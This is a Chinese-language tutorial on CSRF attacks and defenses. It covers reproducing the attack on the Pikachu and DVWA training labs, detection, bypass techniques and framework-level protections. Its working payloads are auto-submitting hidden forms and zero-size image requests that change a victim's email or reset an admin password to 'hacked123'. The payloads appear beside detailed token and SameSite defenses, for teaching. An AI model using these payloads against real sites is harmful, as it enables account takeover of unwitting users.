CSRF攻击原理与防御实战:从漏洞复现到企业级防护方案
1. 项目概述:为什么CSRF依然是Web安全的“隐形杀手”?
在Web安全领域,我们常常把目光聚焦在SQL注入、XSS这类“显性”攻击上,它们动静大,危害直观。但从业十多年,我处理过的安全事件里,有一种漏洞因其“悄无声息”的特性,常常被开发者和初级安全人员低估,那就是跨站请求伪造,也就是大家常说的CSRF。你可能觉得,现在框架都内置防护了,CSRF是不是过时了?恰恰相反,在复杂的现代Web应用架构、前后端分离、API滥用以及第三方组件集成等场景下,CSRF以一种新的形态持续构成威胁。我见过太多因为一个“不起眼”的接口未做防护,导致用户资金被转移、密码被修改的案例。今天,我就从一个老兵的视角,带你彻底拆解CSRF,不光是原理,更重要的是在不同技术栈下的实战攻防、绕过技巧和那些教科书里不会写的修复“深坑”。
简单来说,CSRF攻击的核心是“借刀杀人”。攻击者诱导受害者在已登录目标网站的状态下,访问一个恶意构造的页面,这个页面会“代替”受害者向目标网站发起一个非预期的请求。因为浏览器会自动携带用户的认证信息(如Cookie、Session ID),服务器无法区分这个请求是来自用户的真实意愿,还是被伪造的。这就像你登录了网银没退出,然后不小心点了一个“抽奖”链接,这个链接背后其实是一个向他人转账的请求,你的浏览器就默默地执行了。
2. CSRF攻击原理深度拆解:从“是什么”到“为什么能成”
2.1 核心攻击模型与流程拆解
要理解CSRF,必须从它的攻击模型入手。一个典型的CSRF攻击包含三个不可或缺的实体和四个关键步骤。
三个实体:
- 受害者(Victim):拥有目标网站合法账户且浏览器已保持登录状态的用户。
- 目标网站(Target Site):存在CSRF漏洞的Web应用,通常其业务操作(如转账、改密、发帖)仅依赖会话Cookie进行身份验证。
- 攻击者(Attacker):构造恶意请求并诱导受害者触发的人。
四个步骤:
- 登录与保持状态:受害者正常登录目标网站(例如
bank.com),服务器返回一个会话Cookie(如SessionID=abc123)并保存在受害者浏览器中。此后,浏览器向bank.com发起的任何请求都会自动携带这个Cookie。 - 构造恶意请求:攻击者分析目标网站某个敏感操作的请求。例如,银行转账可能是一个GET或POST请求:
GET /transfer?to=attacker&amount=1000 HTTP/1.1。攻击者将这个请求完整地复制下来。 - 诱导触发:攻击者通过邮件、论坛、社交网站等渠道,向受害者发送一个包含该恶意请求的链接或页面。这个页面可能伪装成抽奖、有趣图片、热门新闻等。
- 请求伪造与执行:受害者在已登录
bank.com的状态下,访问了恶意页面。页面中的代码(如一个自动加载的<img>标签,其src指向转账URL;或一个自动提交的隐藏表单)向bank.com发起请求。浏览器自动附带上受害者本地存储的bank.com的Cookie。服务器收到带有合法SessionID的请求,便认为是受害者本人的操作,从而执行转账。
注意:这里的关键在于,攻击者无法直接获取受害者的Cookie。他只是在利用浏览器自动发送Cookie的这一默认机制。整个攻击过程中,受害者除了可能看到页面跳转或加载,几乎感知不到任何异常。
2.2 技术原理:浏览器的“诚实”与同源策略的局限
CSRF能够成功,根植于Web最基础的运作机制:
- Cookie的自动发送机制:这是CSRF的基石。根据HTTP标准,浏览器在向某个域发起请求时,会自动检查本地Cookie,并将属于该域(包括子域,取决于Cookie的
Domain和Path属性)的Cookie附加到HTTP请求头的Cookie字段中。这个过程对用户和页面JavaScript都是透明的。 - 同源策略(SOP)的“不管辖区”:同源策略限制了来自一个源的文档或脚本如何与另一个源的资源交互。但是,它通常不限制从不同源发送“跨域请求”本身。浏览器允许你从一个页面(如
evil.com)向bank.com发送请求。SOP限制的是读取跨域请求的响应。对于简单的请求(如使用GET/POST的表单提交、<img>src加载),请求可以发出,响应也能返回,只是响应的内容无法被evil.com的JavaScript读取。对于攻击者来说,他根本不需要读取响应,只要请求被服务器执行就达到了目的。 - 无状态HTTP协议的副作用:HTTP本身是无状态的,Web应用依赖Cookie/Session来维持用户状态。服务器仅通过请求中携带的凭证来判断用户身份,而不关心这个请求是从哪、以何种方式发起的。
2.3 攻击载荷(Payload)的多种形态
攻击者会根据目标请求的类型,选择不同的载荷构造方式:
1. GET型CSRF最简单直接。敏感操作错误地使用了GET方法,参数全部暴露在URL中。
<!-- 恶意页面中的代码 --> <img src="http://bank.com/transfer?to=attacker_account&amount=10000" width="0" height="0" />受害者加载此页面时,浏览器会自动尝试加载图片,从而发起一个GET请求。由于图片加载失败是常事,用户几乎无感。
2. POST型CSRF更常见。操作使用POST方法,需要构造一个表单。
<body onload="document.forms[0].submit()"> <form action="http://bank.com/change_email" method="POST"> <input type="hidden" name="email" value="attacker@evil.com" /> <!-- 可能还有其他必需的隐藏参数,如token、user_id等,都需要攻击者事先探测并填入 --> </form> </body>页面加载后,JavaScript会自动提交表单。攻击者需要精确知道所有必需的参数名和值。
3. 其他方法的CSRF(PUT, DELETE等)在RESTful API中常见。可以通过XMLHttpRequest Level 2(需CORS配合)或构造一个发送后重定向的复杂表单(某些浏览器支持)来实现,门槛稍高,但原理相通。
3. 实战演练:手把手搭建靶场与漏洞复现
光说不练假把式。要真正理解CSRF,最好的方式就是亲手搭建环境、构造攻击。这里我以最经典的Pikachu漏洞靶场和DVWA(Damn Vulnerable Web Application)为例,带你走一遍完整的流程。我强烈建议你在本地或隔离的虚拟机中操作。
3.1 环境准备与靶场部署
首先,你需要一个基础的Web运行环境。我推荐使用XAMPP或PHPStudy,它们集成了Apache、MySQL、PHP,一键安装,省去配置烦恼。
- 下载与安装:前往官网下载XAMPP,安装过程全部默认即可。安装完成后,启动Apache和MySQL服务。
- 部署靶场:
- Pikachu:从GitHub下载源码,解压到XAMPP的
htdocs目录下(例如C:\xampp\htdocs\pikachu)。 - DVWA:同样下载源码,解压到
htdocs目录下(例如C:\xampp\htdocs\dvwa)。
- Pikachu:从GitHub下载源码,解压到XAMPP的
- 初始化配置:
- 访问
http://localhost/pikachu,根据页面提示初始化数据库。 - 访问
http://localhost/dvwa,点击页面底部的Setup / Reset DB链接创建数据库。首次登录默认账号为admin,密码为password。在DVWA安全设置页面(DVWA Security),将安全级别调至Low,以便我们进行漏洞复现。
- 访问
3.2 Pikachu靶场CSRF(GET)漏洞复现
Pikachu的CSRF模块非常直观。
- 登录与查看功能:以用户
lucy/123456登录Pikachu。进入“CSRF”模块下的“CSRF(get)”。你会看到一个模拟的“修改个人信息”页面,可以修改昵称和邮箱。注意观察浏览器地址栏,当你提交时,URL变成了类似http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=...&phonenum=...&add=...&email=...&submit=submit的形式。所有参数都通过GET方法传递,这就是漏洞所在。 - 构造恶意页面:在你的
htdocs下新建一个文件attack_get.html,写入以下内容:
这个页面伪装成一个中奖页面,其中的<!DOCTYPE html> <html> <head><title>抽奖活动</title></head> <body> <h1>恭喜您中奖了!</h1> <p>请查看您的奖品:</p> <!-- 利用img标签的src属性发起GET请求 --> <img src="http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=attack&phonenum=1234567890&add=Hacker+Home&email=hacker@evil.com&submit=submit" width="0" height="0" /> <p>页面加载中...</p> </body> </html><img>标签会向Pikachu的修改接口发起请求,将lucy的邮箱修改为hacker@evil.com。 - 实施攻击:
- 确保你已经以lucy身份登录了Pikachu,并且会话未过期。
- 在同一个浏览器中,新开一个标签页,访问
http://localhost/attack_get.html。 - 你会发现页面快速闪了一下(图片加载失败),然后回到Pikachu的个人信息页面,刷新一下,你会发现邮箱等信息已经被修改了!攻击成功。
实操心得:GET型CSRF的利用简单到令人发指。在实际渗透测试中,如果发现一个敏感操作(如删除文章、审核通过)使用了GET方法,几乎可以断定存在CSRF漏洞。修复的第一步就是强制将此类操作改为POST方法。
3.3 DVWA靶场CSRF(POST)漏洞复现
DVWA的CSRF模块在低安全级别下,是一个无任何防护的密码修改功能。
- 登录与定位功能:以
admin登录DVWA,将安全级别设为Low。侧边栏进入CSRF。 - 分析请求:在密码修改框输入新密码并提交,用浏览器开发者工具(F12)的“网络”(Network)标签捕获这个请求。你会发现这是一个POST请求,表单数据包含
password_new,password_conf,Change三个参数。服务器仅验证两个密码是否一致,不验证原密码。 - 构造恶意页面:新建
attack_post.html,写入以下内容:<!DOCTYPE html> <html> <head><title>安全检测</title></head> <body> <h1>系统安全升级,请立即修改密码</h1> <form id="hackForm" action="http://localhost/dvwa/vulnerabilities/csrf/" method="POST" style="display:none;"> <input type="hidden" name="password_new" value="hacked123"> <input type="hidden" name="password_conf" value="hacked123"> <input type="hidden" name="Change" value="Change"> </form> <script> // 页面加载后自动提交表单 document.getElementById('hackForm').submit(); </script> <p>正在为您更新密码,请稍候...</p> </body> </html> - 实施攻击:
- 保持DVWA的登录状态。
- 在同一浏览器访问
http://localhost/attack_post.html。 - 页面会快速跳转回DVWA的CSRF页面,并显示“Password Changed.”。此时,admin的密码已被修改为
hacked123,攻击者成功夺取了管理员账户。
注意事项:在实际攻击中,攻击者需要精确知道所有必需的参数。对于更复杂的表单,可能包含隐藏的token或动态参数。这就需要攻击者先用自己的账户操作一遍,分析请求,或者通过其他信息泄露漏洞(如HTML源码注释、JS文件)来获取表单结构。这也是为什么不应对客户端提交的数据结构抱有丝毫信任。
4. CSRF漏洞的挖掘与自动化探测思路
作为安全人员,我们不仅要懂攻击,更要会挖掘。CSRF漏洞的挖掘可以遵循一套系统化的流程。
4.1 手动挖掘流程与关键观察点
- 资产梳理与功能点枚举:使用爬虫(如Burp Suite的爬虫、
gospider)或人工浏览,收集目标应用的所有功能链接,特别是那些具有“状态改变”功能的点:登录/注销、密码修改、邮箱绑定、资料编辑、资金操作、数据删除、权限变更等。 - 请求分析:对每个敏感功能点,使用代理工具(Burp Suite, OWASP ZAP)拦截其请求。
- 方法判断:如果是GET请求,风险极高,直接标记。
- 参数分析:检查POST/PUT等请求的参数。
- 有无Token:寻找如
csrf_token,authenticity_token,_token,X-CSRF-TOKEN(在头部)等字段。如果完全没有,存在漏洞可能性大。 - Token的绑定关系:即使有Token,也要验证Token是否与用户会话绑定。尝试将A用户的Token用在B用户的请求上,看是否被拒绝。如果通用,则Token形同虚设。
- Referer/Origin检查:检查服务器是否验证了
Referer或Origin头部。可以尝试在Burp中删除或修改这些头部重放请求,看是否成功。
- 有无Token:寻找如
- 同源性检查:检查请求是否依赖自定义头部(如
X-Requested-With: XMLHttpRequest)。在传统表单提交中,浏览器不会主动添加此类头部,但通过AJAX发送的请求会。如果服务器仅凭此头部判断是否为“合法”请求,而忽略了CSRF Token,则存在绕过可能。 - Cookie依赖分析:确认该操作是否仅依赖会话Cookie进行身份认证。可以尝试在另一个浏览器(无登录状态)中直接重放该请求,看是否返回“未授权”错误。如果未登录也能成功,那可能是更严重的未授权访问漏洞。
4.2 自动化工具辅助与脚本编写
手动测试效率低,对于大型应用,需要借助工具或自写脚本。
- Burp Suite Professional - CSRF PoC Generator:这是最强大的辅助工具。在Burp中拦截到目标请求后,右键 ->
Engagement tools->Generate CSRF PoC。Burp会自动根据请求方法、参数生成一个HTML攻击页面。你可以进一步调整这个页面,并直接在Burp内置浏览器中测试,该浏览器会继承你的会话Cookie,非常方便。 - OWASP ZAP - CSRF Token Scanner:ZAP的主动扫描规则中包含了对CSRF Token的检测。它可以尝试找出表单中的token字段,并测试其是否可预测或重复使用。
- 自定义Python探测脚本:对于需要批量测试的场景,可以编写脚本。思路是:使用
requests库的Session对象维持登录态,然后遍历功能链接列表,对每个链接发送请求并分析响应。- 探测Token缺失:检查响应HTML中表单是否包含token字段,或检查API响应/请求规范。
- 测试Token有效性:获取一个token后,尝试在另一个会话中使用,或尝试使用空值、错误格式的值提交。
# 一个简化的思路示例,非完整代码 import requests session = requests.Session() login_data = {'username':'test', 'password':'test'} session.post(login_url, data=login_data) # 登录 # 假设有一个需要测试的URL列表 urls_to_test = ['/change_email', '/transfer', '/delete_post/123'] for url in urls_to_test: full_url = base_url + url # 首先获取页面,分析表单 get_resp = session.get(full_url) # 这里可以解析HTML,查找表单和可能的token # 然后构造一个模拟跨域请求的测试 # 例如,用另一个不携带Cookie的会话对象去请求,但手动添加Cookie头(模拟攻击者场景) test_session = requests.Session() # 从已登录会话中窃取Cookie(模拟攻击者获取Cookie的情况,但CSRF通常不需要) # 更真实的测试是:检查请求是否缺少Token、Referer验证等 # 可以尝试删除可能的Token参数后提交 post_data = {'email': 'attacker@evil.com'} # 缺少token test_resp = session.post(full_url, data=post_data) if '修改成功' in test_resp.text: print(f'[VULNERABLE] {url} 可能缺少CSRF防护')避坑技巧:自动化扫描CSRF的误报率不低。很多应用会在全局中间件或模板中自动添加Token,但扫描器可能因为JavaScript动态加载表单而漏检。因此,自动化结果必须结合人工审核。重点关注意义重大的敏感操作,如资金、账号核心信息修改等。
5. 主流防御方案剖析:从原理到落地踩坑
理解了攻击,防御就有了方向。CSRF防御的核心思想是增加一个攻击者无法预测、无法伪造的凭证,让服务器能区分合法请求和伪造请求。
5.1 同步令牌(Synchronizer Token Pattern, STP)
这是最经典、最可靠的防御方案,适用于有服务端会话状态的Web应用。
原理:
- 用户访问包含表单的页面时,服务器生成一个随机、不可预测的Token(如UUID),将其存储在用户的会话(Session)中,同时将其嵌入到返回页面的表单里(通常是一个隐藏域
<input type="hidden" name="csrf_token" value="随机值">)。 - 用户提交表单时,这个Token会随着其他表单数据一起提交到服务器。
- 服务器收到请求后,比对请求中的Token和会话中存储的Token是否一致。一致则认为是合法请求,否则拒绝。
实现要点与坑点:
- Token的生成与存储:必须使用密码学安全的随机数生成器。Token应与当前用户会话强绑定。
- Token的提交:对于GET请求,不应使用Token防御,而应强制改用POST。Token应放在POST请求体或自定义HTTP头中(如
X-CSRF-TOKEN),避免通过URL传递导致泄露(如Referer、日志)。 - 每会话或每请求:通常采用“每表单”或“每会话”一个Token。对于安全性要求极高的操作(如转账),可以考虑每次请求都刷新Token(即“每请求Token”),但这可能影响浏览器的“后退”操作或多标签操作。
- AJAX请求的处理:对于通过JavaScript发起的AJAX请求,Token需要被JavaScript读取并添加到请求头中。常见的做法是将Token写入页面的
<meta>标签,如<meta name="csrf-token" content="token-value">,然后由前端框架(如Axios)全局拦截请求并添加头部。
// 以Axios为例的全局配置 const csrfToken = document.querySelector('meta[name="csrf-token"]').getAttribute('content'); axios.defaults.headers.common['X-CSRF-TOKEN'] = csrfToken;踩坑实录:我曾经审计过一个系统,它确实使用了Token,但犯了一个致命错误:Token在服务器端没有与会话绑定验证。它只是检查提交的Token是否存在于一个全局的Token池中。这意味着,攻击者可以先访问自己的账户页面获取一个有效的Token,然后用这个Token去伪造其他用户的请求。正确的做法必须是
session[‘csrf_token’] == submitted_token。
5.2 双重Cookie验证
这种方案在前后端分离、API化的应用中更常见,因为它不依赖服务端会话存储Token。
原理:
- 用户登录后,服务端在返回的响应中,通过
Set-Cookie设置一个随机Token(例如csrf_token=abc123),并标记为HttpOnly(防止XSS窃取)和SameSite=Lax/Strict。 - 前端JavaScript从Cookie中读取这个Token(由于是HttpOnly,JS无法读取,所以需要服务端在登录API的响应体中也返回这个Token值,或者单独提供一个获取Token的API)。
- 前端在发起敏感请求(如POST)时,将这个Token值放到请求的自定义Header中,例如
X-CSRF-Token: abc123。 - 服务端收到请求后,比对请求头
X-CSRF-Token中的值与请求中Cookiecsrf_token的值是否一致。一致则通过。
为什么有效?攻击者可以伪造请求,也可以让受害者的浏览器携带Cookie,但他无法同时做到:1. 让浏览器发送自定义Header(因为跨域请求默认不能添加自定义头);2. 读取HttpOnly的Cookie值并放到Header里。这就是“双重”的含义。
实现注意事项:
- Cookie属性:务必设置
SameSite属性(至少为Lax)以提供额外的防御层。设置HttpOnly防止XSS直接窃取Token值。 - Token的获取:前端需要一个安全的方式获取Token值。常见模式是:登录成功后,服务端在JSON响应体中返回
csrfToken字段,前端将其存储在内存或非HttpOnly的Cookie中,用于后续请求设置Header。 - CORS配置:如果API与前端不同源,需要正确配置CORS,允许前端源发送
X-CSRF-Token这个自定义头。
5.3 SameSite Cookie属性
这是一个由浏览器实现的、从源头缓解CSRF的机制。它不能完全替代Token,但是一道极其有效的防线。
原理:通过设置Cookie的SameSite属性,告诉浏览器在什么情况下可以发送这个Cookie。
SameSite=Strict:最严格。Cookie仅在同站请求(即当前页面URL的站点与请求目标站点一致)时发送。这意味着从evil.com发往bank.com的请求绝不会携带Strict属性的Cookie。副作用:如果用户在evil.com点击一个指向bank.com的链接,他访问bank.com时也是未登录状态,体验不友好。SameSite=Lax(默认值):宽松模式。在跨站的顶级导航(如点击链接)且是安全方法(GET)时,会发送Cookie。但对于跨站的POST请求、iframe加载、AJAX请求等,则不发送Cookie。这很好地平衡了安全与用户体验,能防御绝大多数CSRF攻击。SameSite=None:Cookie会在所有上下文中发送,但必须同时设置Secure属性(即仅限HTTPS)。
如何设置:在服务端设置Cookie时指定。
Set-Cookie: SessionID=abc123; Path=/; HttpOnly; SameSite=Lax实操心得:
SameSite=Lax已经成为现代浏览器的默认行为。这意味着,即使你的后端代码没有显式设置Token,只要用户的浏览器不是特别旧的版本,很多基于POST方法的CSRF攻击已经天然被缓解了。但是,这绝不能成为你不实现Token的理由。因为:1. 浏览器兼容性(旧版浏览器不支持);2.Lax模式对GET请求的CSRF防护有限(而GET请求本就不应用于写操作);3. 它不能防御来自同源子域的攻击(如果Cookie的Domain设置过宽)。因此,SameSite+CSRF Token才是黄金组合。
5.4 验证Referer/Origin头部
这是一种辅助验证手段,不应作为唯一防线。
- Referer:表示请求来源页面的完整URL。服务器可以检查
Referer头部是否来源于自己的域名。攻击者构造的恶意页面来自evil.com,其Referer也是evil.com,因此会被拒绝。 - Origin:对于跨域请求(如CORS),浏览器会发送
Origin头部,表示请求发起的源(协议+域名+端口)。它比Referer更简洁,且不会包含路径等敏感信息。
缺陷与绕过:
- 隐私与缺失:用户可能禁用浏览器发送Referer,或者从本地文件(
file://)、HTTPS跳转到HTTP时,Referer可能为空或被剥离。过于严格的检查会误伤正常用户。 - 可被篡改:虽然浏览器行为是标准的,但在某些中间人攻击或客户端代理环境下,头部可能被篡改。不过,在纯粹的CSRF场景下,攻击者无法控制受害者浏览器发送的
Referer或Origin头。 - 绕过技巧:如果验证逻辑不严谨,可能存在绕过。例如,只检查
Referer中是否包含example.com,那么evil.com?example.com就能绕过。正确的做法是,检查Referer的头部是否以https://yourdomain.com/开头,或者其主机部分是否精确等于yourdomain.com。
建议:可以将Referer/Origin验证作为深度防御的一环,与Token结合使用。例如,先检查Referer是否合法,如果不合法再要求验证Token,这样可以在大多数正常请求中省去一次Token校验的开销。
6. 高级绕过技巧与组合漏洞利用
在真实的攻防对抗中,防御措施可能存在缺陷,攻击者会寻找各种绕过方法。
6.1 Token防御的绕过
- Token未绑定会话:如前所述,如果Token是全局的或可预测的,攻击者可以为自己生成一个Token,然后用于攻击他人。
- Token泄露:如果网站同时存在XSS漏洞,攻击者可以利用XSS窃取用户的Token。因为Token通常就放在HTML页面中。这就是为什么防御需要纵深,修复XSS同样重要。
- 校验逻辑缺陷:服务器可能错误地检查了Token的存在性而非有效性。例如,只检查请求中是否有
csrf_token参数,而不校验其值。攻击者可以提交一个空值或任意值。 - 跨域Token窃取(CORS配置错误):如果目标网站的API配置了过于宽松的CORS策略(如
Access-Control-Allow-Origin: *),并且Token可以通过某个API获取(如GET /api/csrf_token),那么攻击者网站上的JavaScript就可以跨域读取到这个Token,从而构造出完美的CSRF请求。关键点:敏感接口和Token获取接口的CORS策略必须严格。
6.2 SameSite Cookie的局限性
- 旧浏览器不支持:IE等旧浏览器不支持SameSite属性,在这些浏览器上Cookie会以默认的
None行为发送,防御失效。 - 宽松模式(Lax)下的GET请求:
SameSite=Lax允许在跨站顶级导航的GET请求中发送Cookie。因此,如果应用错误地使用GET方法进行写操作(如GET /delete?id=1),CSRF攻击依然可能成功。 - 时间窗口攻击:某些攻击(如“登录CSRF”)发生在用户登录之前。攻击者先诱导用户访问恶意站点,该站点向目标网站发起登录请求(使用攻击者控制的凭证)。由于此时浏览器还没有目标网站的登录Cookie,SameSite限制不适用。用户“被登录”后,后续操作可能就处于攻击者的控制之下。
6.3 结合其他漏洞的降维打击
CSRF很少单独造成毁灭性影响,但与其他漏洞结合,威力巨大。
- CSRF + XSS = 完美攻击链:XSS可以绕过几乎所有CSRF防护(Token、SameSite、Referer)。通过XSS,攻击者可以直接在目标网站上下文中执行JavaScript,从而直接读取Token、发起任意请求。这种组合是审计中的高危发现。
- CSRF + 逻辑漏洞:例如,一个修改邮箱的功能,分为两步:1. 请求验证码到原邮箱;2. 提交验证码和新邮箱。如果第二步存在CSRF,攻击者可以在用户收到验证码后(但还未提交时),伪造请求将邮箱改为自己的。虽然他不知道验证码,但如果逻辑漏洞允许在提交新邮箱时同时指定接收验证码的新邮箱,攻击就可能成功。
- JSON CSRF:现代API常使用JSON格式传输数据。传统的HTML表单无法直接发送JSON,但可以通过构造一个带有
type="text/plain"的<textarea>或使用fetch()API并设置Content-Type: text/plain来绕过浏览器的CORS预检请求,在某些配置不当的服务器上实现CSRF。防御方法是:对于非简单请求(如Content-Type为application/json),严格执行CORS预检,并在服务器端校验Content-Type。
7. 不同技术栈下的CSRF防护实战
理论最终要落地到代码。不同框架和架构的防护实现各有特点。
7.1 传统服务端渲染(SSR)应用
以Spring Security (Java)和Laravel (PHP)为例。
Spring Security:默认提供了CSRF防护。它会为每个会话生成一个Token,并期望在非安全方法(POST, PUT, PATCH, DELETE)的请求中,通过_csrf参数或X-CSRF-TOKEN头部提交该Token。
- Thymeleaf模板中自动添加:使用
<form>标签时,Thymeleaf会自动添加一个隐藏域。<input type="hidden" th:name="${_csrf.parameterName}" th:value="${_csrf.token}" /> - 手动处理AJAX:需要将Token放到meta标签,并在JS中读取。
<meta name="_csrf" th:content="${_csrf.token}"/> <meta name="_csrf_header" th:content="${_csrf.headerName}"/>var token = $("meta[name='_csrf']").attr("content"); var header = $("meta[name='_csrf_header']").attr("content"); $(document).ajaxSend(function(e, xhr, options) { xhr.setRequestHeader(header, token); }); - 禁用:对于纯API接口,如果已采用JWT等无状态认证,可以在配置中禁用CSRF防护:
.csrf().disable()。
Laravel:Laravel为每个活跃的用户会话自动生成CSRF Token,并通过VerifyCsrfToken中间件进行验证。
- Blade模板:使用
@csrf指令自动生成隐藏字段。<form method="POST" action="/profile"> @csrf ... </form> - AJAX请求:Laravel将Token存储在
meta标签name="csrf-token"中。你可以像之前Axios的例子一样全局配置。 - 排除特定路由:在
VerifyCsrfToken中间件的$except数组中添加URI,可以排除某些路由(如第三方支付回调)的CSRF检查。
7.2 前后端分离(SPA)应用
以Vue.js + Node.js/Express为例。核心是采用“双重Cookie验证”或“Token放在自定义Header”的模式。
后端(Express)示例:
- 用户登录成功后,生成Token,在响应Cookie和JSON体中返回。
// 登录路由 app.post('/api/login', (req, res) => { // ... 验证逻辑 const csrfToken = generateRandomToken(); // 设置HttpOnly的Cookie res.cookie('csrf-token', csrfToken, { httpOnly: true, sameSite: 'lax' }); // 在响应体中也返回,供前端JS读取 res.json({ success: true, user: userInfo, csrfToken: csrfToken }); }); - 创建一个全局中间件,验证非GET/HEAD/OPTIONS请求。
// csrfMiddleware.js function csrfProtection(req, res, next) { const safeMethods = ['GET', 'HEAD', 'OPTIONS']; if (safeMethods.includes(req.method)) { return next(); } const tokenFromHeader = req.headers['x-csrf-token']; const tokenFromCookie = req.cookies['csrf-token']; if (!tokenFromHeader || !tokenFromCookie || tokenFromHeader !== tokenFromCookie) { return res.status(403).json({ error: 'Invalid CSRF token' }); } next(); } app.use(csrfProtection);
前端(Vue with Axios)示例:
- 登录后,将服务端返回的
csrfToken存储在Vuex或全局变量中,并配置Axios默认头。// api.js import axios from 'axios'; let csrfToken = ''; export function setCsrfToken(token) { csrfToken = token; axios.defaults.headers.common['X-CSRF-Token'] = token; } // 在登录成功的回调中调用 setCsrfToken(response.data.csrfToken) - 后续所有非简单请求都会自动带上
X-CSRF-Token头。
7.3 基于JWT的无状态API
对于完全无状态的JWT认证,CSRF的风险模型发生了变化。因为身份信息(JWT)通常由前端存储在localStorage或sessionStorage中,并通过Authorization: Bearer <token>头部发送,而浏览器不会自动在跨域请求中附加这个头部。这听起来好像天然免疫CSRF?
并非如此!一个常见的错误做法是:为了兼容性,将JWT也放在Cookie里(并标记为HttpOnly)。这样,浏览器就会自动发送它,从而重新引入CSRF风险。如果采用了这种模式,就必须同时实施CSRF防护(如双重Cookie验证)。
最佳实践:对于纯JWT API,坚持将Token放在Authorization头部,绝不存入会被浏览器自动发送的Cookie。这样,CSRF攻击由于无法伪造这个自定义头,攻击就会失败。此时,防御重点应转向防止XSS窃取localStorage中的Token。
8. 企业级防护体系建设与SDL实践
对于企业而言,CSRF防护不应是开发人员事后补的补丁,而应融入软件开发生命周期(SDL)。
安全开发规范制定:在编码规范中明确要求:
- 所有会改变系统状态或用户数据的操作,必须使用POST、PUT、PATCH或DELETE方法,严禁使用GET。
- 所有非幂等的请求(POST, PUT, PATCH, DELETE)必须包含有效的CSRF Token验证。
- 明确前后端分离架构下的Token传递和验证方案(如双重Cookie验证)。
- 规定Cookie必须设置
SameSite属性(默认为Lax),敏感Cookie必须设置HttpOnly和Secure。
框架与组件选型:优先选择内置了成熟CSRF防护机制的开发框架(如Spring Security, Laravel, Django)。在引入第三方库或中间件时,需评估其安全性,确认其CSRF防护是否默认开启或易于集成。
自动化安全测试(SAST/DAST):
- 静态应用安全测试(SAST):在代码层面,通过工具扫描源代码,识别是否存在未受保护的表单提交、缺失Token校验的控制器方法等。
- 动态应用安全测试(DAST):在测试环境,使用OWASP ZAP、Burp Suite等工具进行主动扫描,模拟CSRF攻击,验证防护措施是否生效。
代码审计与渗透测试:定期进行人工代码审计和黑盒渗透测试。审计重点检查Token的生成、存储、验证逻辑是否正确,是否存在逻辑绕过的可能。渗透测试则从攻击者视角,尝试寻找防护体系的薄弱点。
监控与响应:在Web应用防火墙(WAF)或网关层面,可以部署规则,监控异常的请求模式,例如大量缺失预期Token的POST请求,这可能指示正在发生CSRF攻击探测。建立安全事件响应流程,一旦发现漏洞,能快速定位、修复和上线补丁。
我个人在多年的企业安全建设中深刻体会到,单一的技术防御永远不够。意识才是最重要的防线。让每一位开发者都理解CSRF的原理和危害,在写第一行代码时就能条件反射般地想到防护,这才是将安全真正“左移”,从源头杜绝漏洞的根本之道。每次代码评审,看到提交的表单没有@csrf,我都会不厌其烦地指出,这不仅仅是一个漏洞点,更是一个安全习惯的缺失。安全体系的建设,正是由这一个个细节堆砌而成的。
